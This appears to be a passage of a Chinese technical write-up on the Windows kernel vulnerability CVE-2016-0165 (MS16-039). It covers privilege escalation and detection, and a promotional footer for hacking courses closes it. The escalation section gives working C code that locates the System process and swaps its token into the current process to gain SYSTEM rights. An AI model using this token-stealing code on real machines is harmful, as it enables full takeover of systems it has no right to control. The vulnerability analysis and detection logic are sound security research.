本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
0x6 提权
前面的章节实现了由用户进程控制的任意内存地址读写的能力,接下来将通过该能力实现内核提权。提权,意味着进程特权级的提升,提权之后当前进程拥有的权限将高于提权之前,将可执行在原本特权级别下所无法执行的很多操作,并能够访问原本由于 ACL 或完整性校验机制限制所不能访问的特定文件、注册表或进程等对象。
Token
在 Windows 系统中的内核提权通常方法是将目标进程的 Token
结构数据或指针替换成 System
进程等系统进程的 Token
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到 NT 执行体模块的内存地址。操作系统为我们提供了枚举内核模块的 EnumDeviceDrivers
函数。该函数用于获取系统中的所有设备驱动程序的加载地址。NT 执行体模块作为第一内核模块,其地址会出现在地址数组的第一个元素中。
DWORD_PTR
xxGetNtoskrnlAddress(VOID) {DWORD_PTR AddrList[500] = { 0 };DWORD cbNeeded = 0;EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);return AddrList[0];
}
清单 6-1 获取内核执行体模块地址的验证代码片段
在 NT 执行体模块中存在 PsInitialSystemProcess
导出变量,在系统启动时 PspInitPhase0
函数执行期间该导出变量被赋值为 System
进程的 EPROCESS
地址。那么接下来只要获得 PsInitialSystemProcess
变量在 NT 执行体模块中的偏移,就可以计算出其在当前系统环境中的绝对线性地址。
DWORD_PTR
xxGetSysPROCESS(VOID) {DWORD_PTR Module = 0x00;DWORD_PTR NtAddr = 0x00;Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");FreeLibrary((HMODULE)Module);NtAddr = NtAddr - Module;Module = xxGetNtoskrnlAddress();if (Module == 0x00){return 0x00;}NtAddr = NtAddr + Module;if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR))){return 0x00;}return NtAddr;
}
清单 6-2 获取 System 进程 EPROCESS 对象基地址的验证代码
在当前 32 位的 Windows 7 操作系统环境下,由于是单核 CPU 并且支持 PAE 机制,所以系统加载的 NT 执行体是 ntkrnlpa.exe
模块。获得 PsInitialSystemProcess
变量的地址后,通过前面实现的任意内核地址读取功能获取该地址存储的数值,成功后就得到了 System
进程的进程体 EPROCESS
的基地址。
众所周知的是,在 Windows 操作系统中,所有的进程体 EPROCESS
对象以各自的 LIST_ENTRY
ActiveProcessLinks
成员域首尾相接,成员域 ActiveProcessLinks.Flink
指向下一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址,ActiveProcessLinks.Blink
指向上一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址。像这样地,所有的进程组成一个庞大的环形双向链表。获得了 System 进程的 EPROCESS
对象基地址,就可以“顺藤摸瓜”找到当前进程的 EPROCESS
基地址。
kd> dt nt!_EPROCESS +0x000 Pcb: _KPROCESS +0x098 ProcessLock: _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER ... +0x0b4 UniqueProcessId: Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY ... +0x0f8 Token: _EX_FAST_REF ... +0x16c ImageFileName: [15] UChar ... +0x2a8 TimerResolutionLink : _LIST_ENTRY +0x2b0 RequestedTimerResolution : Uint4B +0x2b4 ActiveThreadsHighWatermark : Uint4B +0x2b8 SmallestTimerResolution : Uint4B +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
清单 6-3 在 WinDBG 中显示的 EPROCESS 结构
根据获取的各个成员域的偏移,通过 ActiveProcessLinks
成员的值获取下一个进程 EPROCESS
对象的 ActiveProcessLinks
成员域首地址就可以计算出 EPROCESS
的基地址。判断当前遍历到的 EPROCESS
对象 UniqueProcessId
成员域的值是否和当前进程的进程 ID 相等,如果相等就定位到了当前进程的 EPROCESS
节点。
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC) {if (SysPROC == 0x00){return 0x00;}DWORD_PTR point = SysPROC;DWORD_PTR value = 0x00;do{value = 0x00;xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));if (value == 0x00){break;}if (value == GetCurrentProcessId()){return point;}value = 0x00;xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));if (value == 0x00){break;}point = value - off_EPROCESS_ActiveLinks;if (point == SysPROC){break;}} while (TRUE);return 0x00;
}
清单 6-4 根据 System 进程获取当前进程 EPROCESS 的验证代码
获取到了 System
进程和当前进程的 EPROCESS
对象的地址,接下来就是对 Token
的替换了。有两种方法可选:一是将当前进程 EPROCESS
中存储的 Token
指针替换为 System
进程的 Token
指针,二是将当前进程 EPROCESS
的成员 Token
指针指向的 Token
块中的数据替换成 System
进程拥有的 Token
块的数据。在本分析中选择前一种方法。
进程 EPROCESS
对象的 Token
成员域是一个 _EX_FAST_REF
类型的成员,定义如下:
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF +0x000 Object : Ptr32 Void +0x000 RefCnt : Pos 0, 3 Bits +0x000 Value: Uint4B
数值的低 3
位表示引用计数,去除低 3
位数值后的 32
位完整数值指向实际表示的内存地址。
Token
结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid
),特权级(Privileges
)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System
进程的 Token
结构块的数据如下:
kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544Attributes - Default Enabled Owner
01 S-1-1-0Attributes - Mandatory Default Enabled
02 S-1-5-11Attributes - Mandatory Default Enabled
03 S-1-16-16384Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilegeAttributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3eaParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
清单 6-5 System 进程的 Token 结构块的数据
在这里由于在提权完成后会将 Token
值替换回去,所以暂不关注 Token
指针的引用计数的增减。
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) {if (dstPROC == 0x00 || srcPROC == 0x00){return FALSE;}// get target process original token pointerxxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));if (dstToken == 0x00){return FALSE;}// get system process token pointerxxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));if (srcToken == 0x00){return FALSE;}// modify target process token pointer to systemxxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));// just test if the modification is successfulDWORD_PTR tmpToken = 0x00;xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));if (tmpToken != srcToken){return FALSE;}return TRUE;
}
清单 6-6 将目标进程 Token 指针替换为源进程 Token 指针的验证代码
提权成功后创建新的命令提示符进程作为后续行为执行进程,将 Token
替换回原来的值以保证释放进程 Token
时不会发生异常,当前进程的任务就完成了。接下来进行后续的善后操作,随后进程正常退出。
在新启动的命令提示符进程中使用 whoami
命令测试进程权属,可以观测到新启动的进程已属于 System
用户特权执行:
0x7 检测
根据该漏洞的利用机理,可实现代码对利用该漏洞的样本文件进行检测。该漏洞利用的检测逻辑相对比较简单,编写内核驱动程序并对在漏洞触发关键位置插入陷阱帧,将相关寄存器的值以参数的形式传入陷阱帧处理函数中,并在处理函数中判断寄存器的值是否满足漏洞触发条件。
本分析中使用的环境是 32 位 Windows 7 SP1 基础环境,其 win32k
模块的版本为 6.1.7601.17514
。分配缓冲区内存之前的漏洞关键位置的汇编指令:
.text:00073FEAlea eax, [ecx+1]
.text:00073FEDimuleax, 28h
.text:00073FF0testeax, eax
.text:00073FF2jzshort loc_7400A
.text:00073FF4push6E677247h ; Tag
.text:00073FF9pusheax ; NumberOfBytes
.text:00073FFApush21h ; PoolType
.text:00073FFCcallds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
清单 7-1 漏洞关键位置的汇编指令
检测逻辑以如下的伪代码做简单说明:
ULONG tmp = ecx;tmp++;if (tmp < ecx){// hit vuln exploit}if ((ULONG)(tmp * 0x28) < tmp){// hit vuln exploit}
清单 7-2 检测逻辑的伪代码
命中条件之后对命中的上下文相关数据依照个人意愿进行记录或传输。命中记录的示例:
0x8 链接
[0] 本分析的 POC 下载
1 GDI Data Types
docs.microsoft.com/zh-cn/windo…
2 Windows GDI
msdn.microsoft.com/en-us/libra…
3 GDI Objects
msdn.microsoft.com/en-us/libra…
4 MS16-039 - “Windows 10” 64 bits Integer Overflow exploitation by using GDI objects
www.coresecurity.com/blog/ms16-0…
5 Abusing GDI for ring0 exploit primitives
www.coresecurity.com/blog/abusin…
[6] The Big Trick Behind Exploit MS12-034
www.coresecurity.com/blog/the-bi…
[7] windows_kernel_address_leaks
[8] Pool Feng-Shui –> Pool Overflow
[9] Kernel Pool Exploitation on Windows 7
media.blackhat.com/bh-dc-11/Ma…
[10] SURFOBJ structure
msdn.microsoft.com/en-us/libra…
[11] THE BMP FILE FORMAT
www.ece.ualberta.ca/~elliott/ee…
[12] Microsoft 安全公告 MS16-039 - 严重
technet.microsoft.com/library/sec…
网络安全成长路线图
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成hei客大神,这个方向越往后,需要学习和掌握的东西就会越来越多,以下是学习网络安全需要走的方向:
# 网络安全学习方法
上面介绍了技术分类和学习路线,这里来谈一下学习方法:
## 视频学习
无论你是去B站或者是油管上面都有很多网络安全的相关视频可以学习,当然如果你还不知道选择那套学习,我这里也整理了一套和上述成长路线图挂钩的视频教程,完整版的视频已经上传至CSDN官方,朋友们如果需要可以点击这个链接免费领取。网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!